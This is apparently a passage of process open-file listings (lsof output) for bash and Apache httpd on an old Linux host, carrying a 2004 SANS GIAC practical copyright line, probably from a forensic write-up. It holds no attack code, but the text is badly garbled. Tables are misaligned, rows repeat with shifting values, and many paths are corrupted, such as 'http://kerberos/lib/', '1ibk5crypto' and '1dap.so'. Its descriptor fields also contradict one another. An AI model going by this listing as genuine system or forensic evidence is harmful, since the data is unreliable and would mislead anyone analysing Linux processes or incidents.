bash 7170 userid1 mem REG 3,2 83 130314 /usr/lib/locale/en_US.iso885915/LC_NAME  
bash 7170 userid1 mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER  
bash 7170 userid1 mem REG 3,2 50 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES  
bash 7170 userid1 mem REG 3,2 292 130313 /usr/lib/locale/en_US.iso885915/LC_COLLATE  
bash 7170 userid1 mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE  
bash 7170 userid1 mem REG 3,5 5391 43050 /lib/security/pam_rootok.so  
bash 7170 userid1 mem REG 3,5 23575 63501 /lib/libcrypt-2.2.5.so  
bash 7170 userid1 mem REG 3,5 12015 63568 /lib/libpam_misc.so.0.75  
bash 7170 userid1 mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE  

© SANS Institute 2004,  
As part of GIAC practical repository.  
Author retains full rights.
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Mode</th>
<th>Flags</th>
<th>Size</th>
<th>Address</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>/usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407</td>
<td>/usr/lib/kerbberos/lib/libkrb5.so.2.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>11174</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
<td>/usr/lib/apache/libxml.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1453190</td>
<td>/usr/lib/php4/imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8621</td>
<td>/usr/lib/kerbberos/lib/libcom_err.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>29</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>131560</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35778</td>
<td>/usr/lib/libz.so.1.1.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>355340</td>
<td>/usr/lib/libssl.so.0.9.6</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>68925</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>5300</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>290511</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>215482</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>196866</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>317774</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66666</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>189626</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>295833</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>140418</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>42069</td>
<td>/usr/lib/php4/libpam.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>44992</td>
<td>/usr/lib/php4/libpam.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>45415</td>
<td>/usr/lib/php4/libpam.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2457</td>
<td>/usr/lib/php4/libpam.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>212425</td>
<td>/usr/lib/php4/libpam.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>427611</td>
<td>/usr/lib/php4/libpam.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>191615</td>
<td>/usr/lib/php4/libpam.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>48583</td>
<td>/usr/lib/php4/libpam.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1401027</td>
<td>/usr/lib/php4/libpam.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>CHR</td>
<td>REG</td>
<td>1</td>
<td>1</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>CHR</td>
<td>REG</td>
<td>1</td>
<td>1</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>CHR</td>
<td>REG</td>
<td>1</td>
<td>36</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>CHR</td>
<td>REG</td>
<td>1</td>
<td>0</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>CHR</td>
<td>REG</td>
<td>1</td>
<td>26691</td>
<td>/tmp/session_mm_opache0.sem</td>
</tr>
</tbody>
</table>
(deleted)
httpd 10606 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 10606 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 10606 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 10606 root mem REG 3,2 9900 229509 /usr/lib/apache/mod_headers.so
httpd 10606 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 10606 root mem REG 3,2 92407 440046 http://kerberos/lib/libgssapi_krb5.so.2.2
httpd 10606 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 10606 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 10606 root mem REG 3,2 1453198 425001 /usr/lib/php4/imap.so
httpd 10606 root mem REG 3,2 92407 440046 http://kerberos/lib/libcom_err.so.3.0
httpd 10606 root mem REG 3,2 1561021 229551 /usr/lib/apache/libperl.so
httpd 10606 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 10606 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
httpd 10606 root mem REG 3,2 189626 65384 /usr/lib/libttf.so.2.3.0
httpd 10606 root mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
httpd 10606 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 10606 root mem REG 3,2 79725 440048
http://kerberos/lib/libcrypto.so.3.0
httpd 10606 root mem REG 3,2 42069 425002 /usr/lib/php4/ldap.so
httpd 10606 root 1w CHR 1,3 9637 /dev/null
httpd 10606 root 2w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 10606 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
httpd 10606 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
httpd 10606 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
httpd 10606 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 10606 root 16u IPv4 361623 TCP *:https (LISTEN)
httpd 10606 root 17u IPv4 361624 TCP *:http (LISTEN)
httpd 10606 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
httpd 10606 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
httpd 10607 root cwd DIR 3,5 1024 2 /
httpd 10607 root rtd DIR 3,5 1024 2 /
httpd 10607 root txt REG 3,2 290169 131802 /usr/sbin/httpd
httpd 10607 root mem REG 3,5 89547 63490 /lib/ld-linux-2.2.5.so
httpd 10607 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 10607 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_env.so
httpd 10607 root mem REG 3,2 17638 229514 /usr/lib/apache/mod_log_config.so
httpd 10607 root mem REG 3,2 7438 229513 /usr/lib/apache/mod_log_agent.so
httpd 10607 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 10607 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 10607 root mem REG 3,5 101902 73734 /lib/i686/libpthread-0.9.so
httpd 10607 root mem REG 3,5 173359 73732 /lib/i686/libm-2.2.5.so
httpd 10607 root mem REG 3,2 23575 63501 /lib/libcrypt-2.2.5.so
httpd 10607 root mem REG 3,2 30242 55273 /lib/libgdbm.so.2.0.0
httpd 10607 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
httpd 10607 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 10607 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 10607 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 10607 root mem REG 3,2 35886 229511 /usr/lib/apache/mod_include.so
httpd 10607 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 10607 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 10607 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 10607 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_imap.so
httpd 10607 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 10607 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10607 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
httpd 10607 root mem REG 3,2 51389 229493 /usr/lib/apache/mod_rewrite.so
httpd 10607 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10607 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 10607 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 10607 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 10607 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 10607 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_user_dir.so
httpd 10607 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 10607 root mem REG 3,2 92407 440046 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
httpd 10607 root mem REG 3,2 11174 63541 /lib/libutil-2.2.5.so
httpd 10607 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 10607 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 10607 root mem REG 3,2 1453198 425001 /usr/lib/php/imap.so
httpd 10607 root mem REG 3,2 8621 440043 /usr/lib/libgssapi_krb5.so.2.2
httpd 10607 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 10607 root mem REG 3,2 29 130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
httpd 10607 root mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_MESSAGE
httpd 10607 root mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 10607 root mem REG 3,2 83 130314 /usr/lib/locale/en_US.iso885915/LC_NAME
httpd 10607 root mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 10607 root mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Memory</th>
<th>REG</th>
<th>Size</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>292</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>22592</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>1561021</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>28138</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>5300</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>426442</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>1401027</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>46117</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>22592</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>5300</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>66646</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>42069</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>44992</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>45415</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>2457</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>426425</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>427611</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>191615</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>48583</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>46117</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>1401027</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>292</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>292</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>59778</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>146819</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>924879</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>207008</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>68925</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>153026</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>290511</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>215482</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>196866</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>717774</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>66646</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>189626</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>295833</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>140418</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>79725</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>146819</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>924879</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>207008</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>68925</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>153026</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>290511</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>215482</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>196866</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>717774</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>66646</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>189626</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>295833</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>140418</td>
</tr>
<tr>
<td>httpd</td>
<td>10607</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>79725</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Mode</td>
<td>FP</td>
<td>Size</td>
<td>File Name</td>
</tr>
<tr>
<td>--------</td>
<td>------</td>
<td>------</td>
<td>----</td>
<td>------</td>
<td>-----------</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>655224</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19662</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>141735</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>12102</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14929</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27415</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>18365</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19959</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35886</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27836</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14940</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>6924</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>15974</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8541</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8770</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10617</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>53189</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10034</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407</td>
</tr>
</tbody>
</table>

For detailed information, please refer to the file with the command `cat /proc/10608/status`.
httpd 10608 root mem REG 3,2 79725 440048
/usr/kerberos/lib/1ibk5crypto.so.3.0
httpd 10608 root mem REG 3,2 42069 425002 /usr/lib/php/1dap.so
httpd 10608 root mem REG 3,2 44992 65349 /usr/lib/1ibibler.so.2.0.15
httpd 10608 root mem REG 3,2 45415 63523 /lib/nss_files-2.2.5.so
httpd 10608 root mem REG 3,2 2457 130317
/usr/lib/locale/en_US.iso885915/LC_NUMERIC
httpd 10608 root mem REG 3,2 60 130322
httpd 10608 root mem REG 3,2 173680 130324
/usr/lib/locale/en_US.iso885915/LC_CTYPE
httpd 10608 root mem REG 3,2 126425 229530 /usr/lib/apache/libperl.so
httpd 10608 root mem REG 3,2 191615 65351 /usr/lib/1ibgssapi_krb5.so.3.1
httpd 10608 root mem REG 3,2 48583 63545 /usr/lib/libgssapi_krb5.so.2.2
httpd 10608 root mem REG 3,2 46117 63531 /usr/lib/libnss_nisplus-2.2.5.so
httpd 10608 root mem REG 3,2 1401027 73730 /lib/i686/lib64.so-2.2.5.so
httpd 10608 root 0r CHR 1,3 9637 /dev/null
httpd 10608 root 1w CHR 1,3 9637 /dev/null
httpd 10608 root 2w REG 3,6 1729 44201 /var/log/httpd/error_log
httpd 10608 root 3u REG 3,6 0 38183 /var/run/httpd_mm.8124.sem
httpd 10608 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
httpd 10608 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
httpd 10608 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 10608 root 16u IPv4 361623 TCP *:https (LISTEN)
httpd 10608 root 17u IPv4 361624 TCP *:https (LISTEN)
httpd 10608 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
httpd 10608 root 19w REG 3,6 0 44198 /var/log/httpd/nss_request_log
httpd 10609 root 0w DIR 3,5 1024 2 /.
httpd 10609 root rtd DIR 3,5 1024 2 /.
httpd 10609 root txt REG 3,2 290169 131802 /tmp/session_mm_apache0.sem
httpd 10609 root 5u REG 3,5 89547 63490 /lib/jd-2.2.5.so
httpd 10609 root 15w REG 3,6 1729 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 10609 root 16u REG 3,2 8301 229506 /usr/lib/apache/mod_env.so
httpd 10609 root 17u REG 3,2 17638 229514 /usr/lib/apache/mod_log_config.so
httpd 10609 root 18w REG 3,2 7438 229513 /usr/lib/apache/mod_log_agent.so
httpd 10609 root 19w REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 10609 root 20w REG 3,2 6274 229505 /usr/lib/apache/mod_dir.so
httpd 10609 root 3w REG 3,2 371 130311
httpd 10609 root 4w REG 3,2 290169 131802 /tmp/session_mm_apache0.sem
httpd 10609 root 5w REG 3,2 101902 73734 /lib/i686/libthread-0.9.so
httpd 10609 root 15w REG 3,5 173359 73732 /lib/i686/libgcc-2.2.5.so
httpd 10609 root 16u REG 3,5 23575 65301 /lib/libcrypto-2.2.5.so
httpd 10609 root 17u REG 3,5 30282 65273 /lib/libgssapi_krb5.so.2.2
httpd 10609 root 18w REG 3,5 655224 65345 /lib/libbmi.so.3.3.0
httpd 10609 root 19w REG 3,5 19662 66292 /lib/libgssapi_krb5.so.3.1
httpd 10609 root 20w REG 3,5 141735 65380 /lib/libexpat.so.0.9.so
httpd 10609 root 21w REG 3,5 12102 65303 /lib/libssl.so-2.2.5.so
httpd 10609 root 22w REG 3,5 14929 229516 /usr/lib/apache/mod_mime.so
httpd 10609 root 23w REG 3,5 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 10609 root 24w REG 3,5 18365 229523 /usr/lib/apache/mod_status.so
httpd 10609 root 25w REG 3,5 19959 229512 /usr/lib/apache/mod_info.so
httpd 10609 root 26w REG 3,5 35886 229511 /usr/lib/apache/mod_include.so
httpd 10609 root 27w REG 3,5 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 10609 root 28w REG 3,5 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 10609 root 29w REG 3,5 6924 229496 /usr/lib/apache/mod_asis.so
httpd 10609 root 30w REG 3,5 15974 229510 /usr/lib/apache/mod_imap.so
